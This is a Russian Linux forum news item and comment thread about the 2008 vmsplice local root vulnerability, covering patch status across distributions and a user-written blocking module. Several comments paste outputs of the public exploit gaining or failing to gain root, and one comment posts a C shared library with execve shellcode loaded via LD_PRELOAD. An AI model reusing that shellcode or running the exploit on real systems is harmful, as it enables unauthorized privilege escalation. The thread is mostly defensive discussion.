LINUX.ORG.RU

Повышение привилегий в vmsplice

 , ,


0

0

Недостаточно скрупулезная проверка входных данных в системном вызове vmsplice позволяет обычному пользователю повысить привилегии до root-а на ядрах 2.6.17-2.6.24.1.

>>> Эксплойт

>>> Патч

>>> Обсуждение на /.

>>> LOR Talks

Update: Вышли новые версии ядер: 2.6.24.2, 2.6.23.16 и 2.6.22.18 с исправленной ошибкой.

>>> Подробности

★★★★

Проверено: Shaman007 ()
Ответ на: комментарий от mumpster

mumpster не смеши гастарбайтеров

anonymous
()
Ответ на: комментарий от anonymous

>anonymous@fucksecurity:~$ LD_AUDIT=$HOME/evil.so id 

LD_AUDIT ? СЗЗБ ? ;)

ss@xantippe:~/xxx$ cat inject.c
#include <dlfcn.h>

void runshell(void) {
asm volatile ("xorl %eax, %eax \n"
"push %eax \n"
"push $0x68732f2f \n"
"pushl $0x6e69622f \n"
"movl %esp, %ebx \n"
"pushl %eax \n"
"pushl %ebx \n"
"movl %esp, %ecx \n"
"xorl %edx, %edx \n"
"movl $11, %eax \n"
"int $0x80 \n"
);
}

 unsigned int
 la_version (unsigned int v)
 {
  printf("LD_AUDIT\n");
  runshell();
  return 1;
 }

void _init(void) {
printf("Все в лес !\n");
runshell();
}
ss@xantippe:~/xxx$ gcc -shared  -nostartfiles -fPIC  inject.c -o inject.so
ss@xantippe:~/xxx$ LD_PRELOAD=./inject.so id
Все в лес !
 sh-3.1$ exit
exit
ss@xantippe:~/xxx$ LD_AUDIT=./inject.so id
uid=100(ss) gid=100(users) группы=17(audio),18(video),19(cdrom),100(users)

 





sS ★★★★★
()

у меня сегфолтитя и всё, как пропатчить чтоб заработало :-D

ЗЫ: uname -a

Linux ai11 2.6.20-gentoo-r7 #6 SMP Sun Jan 27 23:32:41 CET 2008 i686 Intel(R) Pentium(R) 4 CPU 3.00GHz GenuineIntel GNU/Linux

ЗЗЫ: раз десять запустил, нифига ни пашет.

в генте ужо пофиксено или я непральна споит собрал и хз, обясните почему может и не работать? =)

djung ★★
()

У меня федора 8 ядро 2.6.23. Сплоит либо выбрасывает wtf, либо что не может открыть /dev/kmem, либо oops =) после поправки исходников уже началось выводить "Exploit gone!"... вот только права не подняло =( Примеры выводов http://www.everfall.com/paste/id.php?g5ldymyjn66w подскажите где у меня кривые руки ....

Humanoid
()
Ответ на: комментарий от mumpster

>> $ strace perl syscall.pl 2>&1|grep 1337

> гы-гы - ну конечно, так всем онанизмусам strace и предоставили.
чтобы таких мыслей было поменьше - всякие там strace и ping могут
запускать только доверенные лица - то бишь члены групп root||wheel

Не тормози. strace запущен для того, чтобы показать что делает этот перл. А делает он вот что, что не мешает засунуть туда и строку
эксплоита:

#!/usr/bin/perl -w

require 'syscall.ph'; # may need to run h2ph

$str = "hi there\n\n";
$ret=syscall(1337, 1, $str, length $str);

print("result = ".$ret);

anonymous
()
Ответ на: комментарий от baka-kun

> LOL. Перевел коллегам — пять минут гомерического хохота. Передают большое спасибо за разрядку в конце первого понедельника на этой неделе, пиво слабо помогало ;)

Еще один бестолковый бсдшник. Кыш отсюда фанатики, которые очевидно не знаете что это там за циферки и буковки в выводе strace и зачем вообще был показан вывод strace и grep. Идите на пинг права выставляйте это у вас лучше получается чем думать головой.

anonymous
()
Ответ на: комментарий от anonymous

> которые очевидно не знаете

Вчера вечером один рассмешил, сегодня утром другой улыбнул ;)

> зачем вообще был показан вывод strace

Если ты не понял, мы вчера ржали над запретом strace для защиты от перла.

baka-kun ★★★★★
()

В Мандриве уже не работает, а для RHEL'а до сих пор новых ядер нет :(

[xxx@yyy ~]$ ./a.out
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2b7b73f28000 .. 0x2b7b73f5a000
[-] vmsplice: Bad address
[xxx@yyy ~]$ uname -a
Linux yyy 2.6.22.18-desktop-1mdv #1 SMP Mon Feb 11 12:42:52 EST 2008 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 5600+ GNU/Linux

Reset ★★★★★
()

в Ubuntu 7.10 работает отлично =(, ктати, есть проблема с fork() в бесконечном цикле, система валится из под пользователя

while(1) { fork(); } возможно ли ограничить его (пользователя) количеством запускаемых процессов, например : Васе 10 процесов, Ване 5 , Коле сколько угодно и тп ?

anonymous
()
Ответ на: комментарий от Humanoid

> У меня федора 8 ядро 2.6.23. Сплоит либо выбрасывает wtf, либо что не может открыть /dev/kmem, либо oops =)

Наглая ложь - без вчерашнего обновления ядра exploit молча работает с selinux=on/enforce.

Even capta kinding proves that. :-)

anonymous
()
Ответ на: комментарий от Valmont

> Я патчил ядро, выдернув патч из src.rpm. Ссылка была где-то в редхатовской багзилле.

Это уже не RHEL ядро будет :-(

Capta is even a right English word. Nice.

anonymous
()
Ответ на: комментарий от baka-kun

Общий объём интеллекта остаётся неизменным при увеличении населения Земли. :-)

Даунишек и имбецилов на ЛОРе примерно столько же, сколько на udaff.com

anonymous
()
Ответ на: комментарий от Valmont

лень ядро пересобирать, подожду пока бинари появятся

Reset ★★★★★
()
Ответ на: комментарий от anonymous

> >Кто-нибудь может объяснить какую уязвимость и каким образом эксплоатирует этот экспоит? Моих позняних в С явно не хватает (

> да, расскажите пожалуйста.

читайте.

http://lwn.net/SubscriberLink/268783/0b8c0c0b6d04791b/

ikm ★★
()
Ответ на: комментарий от baka-kun

> Если ты не понял, мы вчера ржали над запретом strace для защиты от перла.

Ладно, реабелиторван. )

anonymous
()
Ответ на: комментарий от anonymous

> в Ubuntu 7.10 работает отлично =(

Убунтологи тормоза. Что-то они меня разочаровали. У деба уже есть фикс и для ядра и для loop-aes-utils, а эти тормозят. Лучше бы дебиан тестинг пилили чем городить свой велосипед, в который тащить и пересобирать пакеты из деба занимаясь херней и обновлять это дело раз в сто лет...

> есть проблема с fork() в бесконечном цикле,

http://en.wikipedia.org/wiki/Fork_bomb

> while(1) { fork(); } возможно ли ограничить его (пользователя) количеством запускаемых процессов, например : Васе 10 процесов, Ване 5 , Коле сколько угодно и тп ?

Да.

man pam_limits

sudoedit /etc/security/limits.conf

anonymous
()
Ответ на: комментарий от baka-kun

> Если ты не понял, мы вчера ржали над запретом strace для защиты от перла.

Вообще я подумал, что товарищ - опенбсдшник(говорил про wheel) где strace это что-то вроде selinux для обрубания сстемных вызовов...

anonymous
()

/me проснулсо и запустил emacs. Сейчас буду багфикс-модуль для ядра пробовать писать... Чувствую, предстоит много ребутов, ибо VMWare ставить влом.

Balthazar
()

> 2.6.22.18 с исправленной ошибкой

Во круто, у меня даже мандрива до него сейчас заапдейтилась.

anonymous
()

В UBUNTU пофиксили сегодня:

$ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7d67000 .. 0xb7d99000 [-] vmsplice: Bad address $ uname -a Linux desktop 2.6.22-14-generic #1 SMP Tue Feb 12 07:42:25 UTC 2008 i686 GNU/Linux

anonymous
()
Ответ на: комментарий от anonymous

они б еще через неделю почесались loop-aes-utils за ними...

Так, выйдет Lenny буду ставить нормальный Дебиан а то с их расторопностью по фиксам они и remote какой нибудь пропустят

anonymous
()
Ответ на: комментарий от Balthazar

Зачем? Если только по-практиковаться в программировании. Есть скрипт через systemtap, который заблокирует то, чего не нужно. Была ссылка, опять же, в багзилее RedHat. Есть и патчи.

Valmont ★★★
()
Ответ на: комментарий от anonymous

У меня тоже... и иксы заодно заапдйитил... - и как обычно в мандриве после абдейта эти иксы грохнулись гы-гы... правда не сильно =)

ps уууу а на секлабе-то только проснулись, уже пофиксили а они тама оруть гы.

anonymous
()
Ответ на: комментарий от Valmont

> Зачем? Если только по-практиковаться в программировании
Именно для этого ) А то пых-пых уже достал... Вспоминаю былое )

Написал в виде модуля... Теперь имхо почти предел совершенства. 

--------------

alex@debian:~$ ./bb
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7fa1000 .. 0xb7fd3000
[+] root
root@debian:~# /sbin/insmod /home/alex/Desktop/mod_patch/patch_vmsplice.ko
root@debian:~# exit
exit
alex@debian:~$ ./bb
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7fc9000 .. 0xb7ffb000
[-] vmsplice: Operation not permitted
alex@debian:~$ su
Password:
debian:/home/alex# rmmod patch_vmsplice.ko
debian:/home/alex# exit
exit
alex@debian:~$ /home/alex/bb
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7fc6000 .. 0xb7ff8000
[+] root
root@debian:~#

--------------

Теперь осталось заняться чем-нибудь более полезным.

З.Ы.
http://meetfile.com/files/46126/patch.tar.bz2.html
Перехватывает вызов для всех, кроме рута.

Balthazar
()

Ну пингвин взял за обе щеки это понятно, но как такая дырища более года скрывалась?

anonymous
()
Ответ на: комментарий от anonymous

> Так, выйдет Lenny буду ставить нормальный Дебиан а то с их расторопностью по фиксам они и remote какой нибудь пропустят

+1

anonymous
()
Ответ на: комментарий от djung

> Linux ai11 2.6.20-gentoo-r7 #6 SMP Sun Jan 27 23:32:41 CET 2008 i686 Intel(R) Pentium(R) 4 CPU 3.00GHz GenuineIntel GNU/Linux

У мну на core2duo тоже не работает.

anonymous
()
Ответ на: комментарий от anonymous

обновился до версии Debian 2.6.18.dfsg.1-18 etch1, эксплоит теперь не срабатывает, но теперь не работает passwd - passwd: Module is unknown passwd: password unchanged

anonymous
()
Ответ на: комментарий от anonymous

> У меня тоже... и иксы заодно заапдйитил... - и как обычно в мандриве после абдейта эти иксы грохнулись гы-гы... правда не сильно =)

Дрова от nvidia не из пакетов чтоль ставил?

Reset ★★★★★
()
Ответ на: комментарий от anonymous

> обновился до версии Debian 2.6.18.dfsg.1-18 etch1, эксплоит теперь не срабатывает, но теперь не работает passwd - passwd: Module is unknown passwd: password unchanged

А не руткит ли у тебя стоит? Патч не должен приводить к таким последствиям потому, что вообще не использует vmsplice(), поэтому его вообще никак не могло затронуть обновление ядра.

anonymous
()
Ответ на: комментарий от Reset

> Дрова от nvidia не из пакетов чтоль ставил?

Хуже, атя с проприетарными дровишками... когда они уже спеки полностью откроют, сво...

anonymous
()
Ответ на: комментарий от anonymous

>while(1) { fork(); } возможно ли ограничить его (пользователя) количеством запускаемых процессов, например : Васе 10 процесов, Ване 5 , Коле сколько угодно и тп ?

/etc/security/limits.conf

man pam

szh ★★★★
()
Ответ на: комментарий от Valmont

проапдейтилось, теперь осталось дождаться ядра с суффиксом .centosplus, а то на одном сервачке reiserfs крутится :)

Reset ★★★★★
()
Ответ на: комментарий от Reset

А мне казалось, что в редхат только утилит reiserfs нету, а модуль по-умолчанию компилится... Наверно с ядром центоса спутал :-)

Valmont ★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.